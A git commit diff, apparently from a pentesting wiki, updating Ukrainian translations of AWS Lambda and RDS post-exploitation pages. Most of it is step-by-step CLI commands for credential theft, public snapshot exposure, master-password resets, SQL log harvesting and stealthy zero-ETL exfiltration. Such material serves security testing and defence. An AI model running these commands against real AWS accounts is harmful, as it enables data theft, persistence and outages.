Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-07 15:41:17 +00:00
parent 1cb6638602
commit d196880c73
2 changed files with 464 additions and 23 deletions
@@ -12,13 +12,13 @@ For more information check:
### Exfilrtate Lambda Credentials
Lambda використовує змінні середовища для інкції credentials під час виконання. Якщо ви зможете отримати доступ до них (прочитавши `/proc/self/environ` або використовуючи вразливу функцію), ви зможете використовувати їх самостійно. Вони зберігаються в стандартних іменах змінних `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, та `AWS_ACCESS_KEY_ID`.
Lambda використовує змінні середовища для інжекції credentials під час виконання. Якщо ви можете отримати до них доступ (читанням `/proc/self/environ` або використавши вразливу функцію), ви можете використати їх самостійно. Вони зберігаються в стандартних іменах змінних `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
За замовчуванням ці облікові дані матимуть доступ до запису в cloudwatch log group (ім'я якої зберігається в `AWS_LAMBDA_LOG_GROUP_NAME`), а також до створення довільних log groups; проте lambda functions часто мають більше дозволів, призначених відповідно до їхнього призначення.
By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
### Steal Others Lambda URL Requests
Якщо зловмисник якимось чином отримає RCE всередині Lambda, він зможе вкрасти HTTP-запити інших користувачів до lambda. Якщо запити містять конфіденційну інформацію (cookies, credentials...) — їх можна буде викрасти.
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
{{#ref}}
aws-warm-lambda-persistence.md
@@ -26,7 +26,7 @@ aws-warm-lambda-persistence.md
### Steal Others Lambda URL Requests & Extensions Requests
Зловживаючи Lambda Layers, також можна зловживати extensions і забезпечити персистентність у lambda, а також красти й модифікувати запити.
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -4,7 +4,7 @@
## RDS
Для отримання додаткової інформації дивіться:
Для додаткової інформації дивись:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Якщо зловмисник має достатні дозволи, він може зробити **DB публічно доступною**, створивши snapshot DB, а потім відновивши з нього публічно доступний DB.
Якщо в нападника є достатні права, він може зробити **DB публічно доступною**, створивши знімок (snapshot) DB, а потім відновивши з цього знімка публічно доступну DB.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Атакуючий з цими дозволами може **створити snapshot DB** і зробити його **публічно доступним**. Потім він може просто створити у своєму акаунті DB з цього snapshot.
Зловмисник з цими дозволами може **створити snapshot DB** і зробити його **публічно доступним**. Потім він може просто створити у своєму акаунті DB з цього snapshot.
Якщо атакуючий **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені snapshots **публічними**.
Якщо зловмисник **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені snapshots **публічними**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Зловмисник, який має дозвіл `rds:DownloadDBLogFilePortion`, може **завантажувати частини файлів журналів екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково потрапили до журналів, зловмисник може використати цю інформацію для підвищення привілеїв або виконання несанкціонованих дій.
Зловмисник з дозволом `rds:DownloadDBLogFilePortion` може **завантажувати частини лог-файлів екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково потрапили до логів, зловмисник потенційно може використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Можливий вплив**: Доступ до конфіденційної інформації або несанкціоновані дії з використанням leaked credentials.
**Potential Impact**: Доступ до конфіденційної інформації або несанкціоновані дії, використовуючи leaked credentials.
### `rds:DeleteDBInstance`
Зловмисник з цими дозволами може **DoS існуючі RDS інстанси**.
Зловмисник з такими дозволами може **DoS існуючих RDS інстансів**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Потенційний вплив**: Видалення існуючих RDS instances та можливі втрати даних.
**Потенційний вплив**: Видалення існуючих RDS інстансів і потенційна втрата даних.
### `rds:StartExportTask`
> [!NOTE]
> TODO: Перевірити
Зловмисник із цим дозволом може **export an RDS instance snapshot to an S3 bucket**. Якщо зловмисник контролює цільовий S3 bucket, він потенційно може отримати доступ до конфіденційних даних у експортованому snapshot.
Зловмисник з цим дозволом може **експортувати знімок інстансу RDS до S3 bucket**. Якщо зловмисник контролює цільовий S3 bucket, він потенційно може отримати доступ до чутливих даних у експортованому знімку.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potential impact**: Доступ до конфіденційних даних у експортованому знімку.
**Потенційний вплив**: Доступ до конфіденційних даних у експортованому снапшоті.
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
Зловживати реплікацією автоматичних резервних копій між регіонами, щоб тихо дублювати автоматичні резервні копії інстансу RDS в інший AWS регіон і відновити їх там. Атакуючий потім може зробити відновлену DB публічно доступною та скинути основний пароль, щоб отримати доступ до даних поза увагою захисників у регіоні, який вони можуть не моніторити.
Зловживати реплікацією automated backups між регіонами, щоб непомітно дублювати автоматизовані резервні копії екземпляра RDS в інший AWS Region і відновити їх там. Зловмисник може потім зробити відновлену БД загальнодоступною та скинути master password, щоб отримати доступ до даних поза контролем у регіоні, який захисники можуть не моніторити.
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` у цільовому регіоні
- `rds:DescribeDBInstanceAutomatedBackups` у цільовому регіоні
- `rds:RestoreDBInstanceToPointInTime` у цільовому регіоні
- `rds:ModifyDBInstance` у цільовому регіоні
- `rds:StopDBInstanceAutomatedBackupsReplication` (опційне очищення)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити відновлену DB)
Необхідні дозволи (мінімум):
- `rds:StartDBInstanceAutomatedBackupsReplication` у цільовому AWS Region
- `rds:DescribeDBInstanceAutomatedBackups` у цільовому AWS Region
- `rds:RestoreDBInstanceToPointInTime` у цільовому AWS Region
- `rds:ModifyDBInstance` у цільовому AWS Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (необов’язкове прибирання)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити відновлену БД)
Impact: Утримання доступу та витік даних шляхом відновлення копії продукційних даних в інший регіон і публічного їх оприлюднення з обліковими даними, контрольованими атакуючим.
Вплив: Утримання доступу та ексфільтрація даних шляхом відновлення копії production-даних в інший Region і зробивши її загальнодоступною з обліковими даними під контролем зловмисника.
<details>
<summary>End-to-end CLI (replace placeholders)</summary>
@@ -163,4 +163,445 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### Увімкнути повне SQL-логування через DB parameter groups та ексфільтрувати через RDS log APIs
Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL-операції, що виконуються додатками (не потрібні облікові дані DB engine). Увімкніть логування SQL на рівні engine та витягніть файли логів за допомогою `rds:DescribeDBLogFiles` та `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору запитів, які можуть містити секрети/PII/JWTs.
Потрібні дозволи (мінімум):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (тільки для приєднання кастомної групи параметрів, якщо інстанс використовує групу за замовчуванням)
- `rds:RebootDBInstance` (для параметрів, що вимагають перезавантаження, напр., PostgreSQL)
Кроки
1) Розвідка цілі та поточної групи параметрів
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Переконайтесь, що приєднана власна група параметрів DB (стандартну редагувати неможливо)
- Якщо інстанс вже використовує власну групу, повторно використайте її назву на наступному кроці.
- Інакше створіть і приєднайте групу, що відповідає сімейству движка:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
```
3) Увімкнути розгорнуте SQL логування
- MySQL engines (immediate / no reboot):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL engines (вимагається перезавантаження):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Дайте робочому навантаженню працювати (або згенеруйте запити). Запити будуть записані у файли журналів engine
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Знайдіть та завантажте логи (DB creds не потрібні)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
```
6) Аналізуйте офлайн на предмет конфіденційних даних
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Приклад доказів (редаговано):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
Очищення
- Повернути параметри до значень за замовчуванням та перезавантажити, якщо потрібно:
```bash
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів застосунку через AWS APIs (без DB-облікових даних), потенційно leaking secrets, JWTs і PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
Зловживання RDS read replicas для отримання out-of-band доступу лише для читання без втручання в облікові дані primary instance. Зловмисник може створити read replica з production instance, скинути master password репліки (це не змінює primary) і за потреби виставити репліку публічно для exfiltrate даних.
Необхідні дозволи (мінімум):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (якщо виставляється публічно)
Вплив: Доступ лише для читання до production даних через репліку з обліковими даними, контрольованими атакуючим; менша ймовірність виявлення, оскільки primary залишається недоторканим та реплікація продовжується.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Приклад доказів (MySQL):
- Статус репліки DB: `available`, читальна реплікація: `replicating`
- Успішне підключення з новим паролем і `@@read_only=1`, що підтверджує доступ до репліки лише для читання.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
Зловживайте RDS Blue/Green, щоб клонувати продукційну БД у безперервно репліковане, доступне лише для читання green-середовище. Потім скиньте green master credentials, щоб отримати доступ до даних, не торкаючись blue (prod) інстансу. Це більш приховано, ніж snapshot sharing, і часто обходить моніторинг, орієнтований лише на джерело.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is readonly)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Вплив: Доступ лише для читання, але повний доступ до даних майже в реальному часі в клоні production без модифікації production-інстансу. Корисно для прихованого витягання даних та офлайн-аналізу.
### SQL поза каналом через RDS Data API шляхом увімкнення HTTP endpoint + скидання головного пароля
Зловживання Aurora дозволяє увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути головний пароль до значення, яке ви контролюєте, і виконувати SQL через HTTPS (не потрібен мережевий шлях VPC). Працює на движках Aurora, що підтримують Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
Permissions (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Вплив: Обійти сегментацію мережі та ексфільтрувати дані через AWS APIs без прямого VPC підключення до DB.
<details>
<summary>Повний приклад CLI (Aurora MySQL)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
CLUSTER_ID=<target-cluster-id>
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
--db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].DBClusterArn' --output text)
# 2) Enable Data API HTTP endpoint on the cluster
# Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
# or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--enable-http-endpoint --apply-immediately
# Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].HttpEndpointEnabled' --output text
# 3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
# Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
[[ "$P" == "None" || "$P" == "null" ]] && break
sleep 10
done
# 4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
--query ARN --output text)
# 5) Prove out-of-band SQL via HTTPS using rds-data
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
--format-records-as JSON
```
</details>
Примітки:
- Якщо multi-statement SQL відхиляється rds-data, робіть окремі виклики execute-statement.
- Для двигунів, де modify-db-cluster --enable-http-endpoint не має ефекту, використовуйте rds enable-http-endpoint --resource-arn.
- Переконайтеся, що двигун/версія дійсно підтримує Data API; інакше HttpEndpointEnabled залишиться False.
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Зловживайте конфігурацією RDS Proxy, щоб виявити секрет Secrets Manager, який використовується для аутентифікації бекенду, а потім прочитайте цей секрет, щоб отримати облікові дані бази даних. У багатьох середовищах надають широкі `secretsmanager:GetSecretValue`, що робить це низьковитратним шляхом до DB creds. Якщо секрет використовує CMK, неправильно масштабовані дозволи KMS також можуть дозволити `kms:Decrypt`.
Потрібні дозволи (мінімум):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` на вказаному SecretArn
- Необов'язково, коли секрет використовує CMK: `kms:Decrypt` на цьому ключі
Наслідок: Негайне розкриття DB username/password, налаштованих на проксі; дозволяє прямий доступ до DB або подальший латеральний рух.
Кроки
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
Лаб (мінімальні умови для відтворення)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
Очищення (lab)
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Stealthy continuous exfiltration через Aurora zeroETL до Amazon Redshift (rds:CreateIntegration)
Зловживати Aurora PostgreSQL zeroETL integration для безперервної реплікації продуктивних даних у Redshift Serverless namespace, який ви контролюєте. За наявності пермісивної політики ресурсів Redshift, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного Aurora cluster ARN, зловмисник може встановити майже в режимі реального часу копію даних без DB creds, snapshots або мережевого доступу.
Permissions needed (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Створити Redshift Serverless namespace + workgroup</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
--query namespace.namespaceArn --output text)
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
--query workgroup.workgroupArn --output text)
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
```
</details>
<details>
<summary>2) Налаштуйте політику ресурсів Redshift, щоб дозволити джерело Aurora</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
cat > rs-rp.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AuthorizeInboundByRedshiftService",
"Effect": "Allow",
"Principal": {"Service": "redshift.amazonaws.com"},
"Action": "redshift:AuthorizeInboundIntegration",
"Resource": "$RS_NS_ARN",
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
},
{
"Sid": "AllowCreateInboundFromAccount",
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
"Action": "redshift:CreateInboundIntegration",
"Resource": "$RS_NS_ARN"
}
]
}
JSON
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
```
</details>
<details>
<summary>3) Створити Aurora PostgreSQL кластер (увімкнути Data API та logical replication)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--engine aurora-postgresql --engine-version 16.4 \
--master-username postgres --master-user-password 'InitPwd-1!' \
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
# Serverless v2 instance
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
# Cluster parameter group for zeroETL
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
```
</details>
<details>
<summary>4) Створіть інтеграцію zeroETL з RDS</summary>
```bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
--data-filter 'include: postgres.*.*'
# Redshift inbound integration should become ACTIVE
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
```
</details>
<details>
<summary>5) Матеріалізувати та запитувати репліковані дані в Redshift</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "select integration_id from svv_integration" # take the GUID value
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
--sql "create database ztl_db from integration '<integration_id>' database postgres"
# List tables replicated
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
```
</details>
Докази, зафіксовані під час тесту:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 і стан PendingDbConnectState перед створенням БД.
- Після CREATE DATABASE FROM INTEGRATION, при переліку таблиць виявлено схему ztl і таблицю customers; вибірка з ztl.customers повернула 2 рядки (Alice, Bob).
Вплив: Безперервна, практично в реальному часі, ексфільтрація вибраних таблиць Aurora PostgreSQL у Redshift Serverless, контрольована атакуючим, без використання облікових даних бази даних, резервних копій або мережевого доступу до джерельного кластера.
{{#include ../../../banners/hacktricks-training.md}}